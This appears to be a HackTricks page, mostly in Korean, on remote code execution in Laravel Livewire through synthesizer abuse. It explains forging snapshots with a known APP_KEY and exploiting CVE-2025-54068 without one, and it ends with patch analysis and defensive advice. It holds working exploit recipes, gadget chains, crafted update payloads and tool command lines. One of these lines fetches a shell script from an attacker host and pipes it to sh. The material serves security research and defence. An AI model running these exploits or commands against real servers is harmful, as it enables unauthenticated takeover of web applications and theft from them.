Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.
Livewire state machine 요약
Livewire 3 components는 data, memo, 그리고 checksum을 포함하는 snapshots를 통해 state를 교환한다. /livewire/update로의 모든 POST는 server-side에서 JSON snapshot을 rehydrate하고, 대기 중인 calls/updates를 실행한다.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
따라서 APP_KEY($hashKey를 도출하는 데 사용됨)를 가진 사람은 HMAC를 재계산하여 임의의 snapshot를 위조할 수 있다.
복잡한 properties는 Livewire\Drawer\BaseUtils::isSyntheticTuple()에 의해 감지되는 synthetic tuples로 인코딩된다; 각 tuple은 [value, {"s":"<key>", ...meta}] 형태이다. hydration core는 단순히 모든 tuple을 HandleComponents::$propertySynthesizers에서 선택된 synth에 위임하고, children에 대해 재귀적으로 처리한다:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
이 재귀적 설계는 공격자가 tuple 메타데이터 또는 재귀 중 처리되는 어떤 중첩 tuple이라도 제어할 수 있게 되는 순간 Livewire를 generic object-instantiation engine으로 만듭니다.
gadget primitives를 부여하는 Synthesizers
| Synthesizer | 공격자가 제어하는 동작 |
|---|---|
CollectionSynth (clctn) | 각 child를 rehydrating한 뒤 new $meta['class']($value)를 instantiates합니다. array constructor를 가진 어떤 class든 생성할 수 있으며, 각 item 자체도 synthetic tuple일 수 있습니다. |
FormObjectSynth (form) | new $meta['class']($component, $path)를 호출한 뒤, $hydrateChild를 통해 공격자가 제어하는 children의 모든 public property를 할당합니다. 두 개의 loosely typed parameters(또는 default args)를 받는 constructor만 있어도 임의의 public properties에 도달할 수 있습니다. |
ModelSynth (mdl) | meta에 key가 없으면 return new $class;를 실행하여 공격자가 제어하는 범위 내의 어떤 class든 zero-argument instantiation을 허용합니다. |
synths가 모든 nested element에 대해 $hydrateChild를 호출하므로, tuple을 재귀적으로 쌓아 임의의 gadget graph를 만들 수 있습니다.
APP_KEY를 알 때 snapshots 위조하기
- 정상적인
/livewire/update요청을 캡처하고components[0].snapshot을 decode합니다. - gadget class를 가리키는 nested tuple을 주입하고
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)를 recompute합니다. - snapshot을 다시 encode하고
_token/memo는 그대로 둔 채 요청을 replay합니다.
가장 작은 실행 proof는 **Guzzle의 FnStream**과 **Flysystem의 ShardedPrefixPublicUrlGenerator**를 사용합니다. 한 tuple은 constructor data { "__toString": "phpinfo" }로 FnStream을 instantiates하고, 다음 tuple은 $prefixes로 [FnStreamInstance]를 사용해 ShardedPrefixPublicUrlGenerator를 instantiates합니다. Flysystem이 각 prefix를 string으로 캐스팅할 때, PHP는 공격자가 제공한 __toString callable을 호출하여 인자 없이 어떤 function이든 실행합니다.
function calls에서 완전한 RCE까지
Livewire의 instantiation primitives를 활용해, Synacktiv는 phpggc의 Laravel/RCE4 chain을 변형하여 hydration이 deserialization을 유발하는 public Queueable state를 가진 object를 부트하도록 했습니다:
- Queueable trait –
Illuminate\Bus\Queueable을 사용하는 어떤 object든 public$chained를 노출하며dispatchNextJobInChain()에서unserialize(array_shift($this->chained))를 실행합니다. - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue)는 public$chained가 채워진 상태로CollectionSynth/FormObjectSynth를 통해 instantiates됩니다. - phpggc Laravel/RCE4Adapted –
$chained[0]에 저장된 serialized blob이PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed를 만듭니다.Signed::__invoke()는 마침내call_user_func_array($closure, $args)를 호출하여system($cmd)를 가능하게 합니다. - Stealth termination –
[new Laravel\Prompts\Terminal(), 'exit']같은 두 번째FnStreamcallable을 넘기면, 요청은 시끄러운 exception 대신exit()로 끝나 HTTP response를 깨끗하게 유지합니다.
snapshot 위조 자동화
synacktiv/laravel-crypto-killer는 이제 모든 것을 이어 붙이는 livewire mode를 제공합니다:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
이 도구는 캡처된 snapshot을 파싱하고, gadget tuple을 주입한 뒤, checksum을 다시 계산하고, 바로 전송할 수 있는 /livewire/update payload를 출력한다.
CVE-2025-54068 – APP_KEY 없이 RCE
벤더 advisory에 따르면, 이 이슈는 Livewire v3(>= 3.0.0-beta.1 및 <= 3.6.3)에 영향을 주며 v3에만 해당한다.
updates는 snapshot checksum이 검증된 후에 component state에 병합된다. snapshot 안의 property가 synthetic tuple이거나 synthetic tuple이 되면, Livewire는 attacker-controlled update value를 hydration할 때 그 meta를 재사용한다:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- untyped public property가 있는 Livewire component를 찾는다(예:
public $count;). - 그 property를
[]로 설정하는 update를 보낸다. 그러면 다음 snapshot은 이제 그것을[[], {"s": "arr"}]로 저장한다.
최소 type-juggling 흐름은 다음과 같다:
POST /livewire/update
...
"updates": {"count": []}
그다음 snapshot은 arr synthesizer metadata를 유지하는 tuple을 저장한다:
"count": [[], {"s": "arr"}]
- 해당 property가
[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]같은 tuple을 깊게 중첩한 array를 포함하도록 또 다른updatespayload를 만든다. - recursion 동안
hydrate()는 각 중첩 child를 독립적으로 평가하므로, 외부 tuple과 checksum이 바뀌지 않았더라도 attacker가 선택한 synth keys/classes가 그대로 반영된다. - 같은
CollectionSynth/FormObjectSynthprimitive를 재사용해$chained[0]에 phpggc payload가 들어 있는 Queueable gadget을 instantiate한다. Livewire는 forged updates를 처리하고dispatchNextJobInChain()을 호출한 뒤APP_KEY를 모르더라도system(<cmd>)에 도달한다.
이것이 작동하는 핵심 이유:
updates는 snapshot checksum의 보호 대상이 아니다.getMetaForPath()는 attacker가 이전에 weak typing으로 그 property를 tuple로 바꾸도록 강제했더라도, 그 property에 이미 존재하던 synth metadata를 그대로 신뢰한다.- recursion과 weak typing이 결합되면 각 중첩 array를 완전히 새로운 tuple처럼 해석할 수 있으므로, 결국 임의의 synth keys와 임의의 classes가 hydration에 도달한다.
고가치 pre-auth target: Filament login forms
Livewire 위에 구축된 애플리케이션은 종종 toy public $count; property보다 더 쉬운 pre-auth surface를 노출한다. 예를 들어 Filament login page는 일반적으로 snapshot에서 이미 form tuple로 serialized된 weakly typed $form object를 hydrate한다. 그러면 “scalar -> array -> arr tuple” 설정 단계가 완전히 사라진다:
- snapshot에는 이미
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}같은 것이 들어 있다. - attacker는
updates.form에 중첩된 malicious tuples를 직접 보낼 수 있다. recursion이 결국[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]같은 child를 재해석하기 때문이다. - 이것이
FormObjectSynthobjects를 노출하는 pre-auth Livewire entrypoint가 특히 매력적인 이유다: 이미 instantiation과 public-property assignment를 둘 다 제공하기 때문이다.
Patch analysis: update recursion 동안 raw metadata를 보존
이 fix는 dedicated hydratePropertyUpdate() path를 도입하여, nested update values가 더 이상 attacker-controlled children에 대해 generic hydrate($child, ...)를 호출하지 않도록 한다:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
패치의 보안 영향:
- 중첩 업데이트는 이제 새로 받은 공격자 제공 tuple 메타데이터를 신뢰하지 않고, 원래의 raw snapshot path를 기준으로 다시 검증된다.
- recursive hydration에서는 더 이상 하위 요소가 진행 중간에
s또는class를 재정의할 수 없다. - 이로써 arbitrary synthesizer switching과 중첩 update 배열 내부의 arbitrary class selection이 모두 차단된다.
Livepyre – end-to-end exploitation
Livepyre는 APP_KEY-less CVE와 signed-snapshot path 둘 다를 자동화한다:
<script src="/livewire/livewire.js?id=HASH">(또는?v=HASH)를 파싱해 배포된 Livewire 버전을 fingerprinting하고, hash를 취약한 release에 매핑한다.- 정상 동작을 재생하고
components[].snapshot을 추출해 baseline snapshots를 수집한다. updates-only payload(CVE-2025-54068) 또는 phpggc chain을 포함하는 forged snapshot(known APP_KEY) 중 하나를 생성한다.- snapshot에서 object-typed parameter를 찾지 못하면, Livepyre는 coercible property에 도달하기 위해 후보 params를 brute-forcing하는 쪽으로 fallback한다.
일반적인 사용법:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check runs a non-destructive probe, -F skips version gating, -H and -P add custom headers or proxies, and --function/--param customize the php function invoked by the gadget chain.
Defensive considerations
- Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
- Avoid weakly typed public properties in Livewire components; explicit scalar types prevent property values from being coerced into arrays/tuples.
- Register only the synthesizers you truly need and treat user-controlled metadata (
$meta['class']) as untrusted. - Reject updates that change the JSON type of a property (e.g., scalar -> array) unless explicitly allowed, and re-derive synth metadata instead of reusing stale tuples.
- Rotate
APP_KEYpromptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.


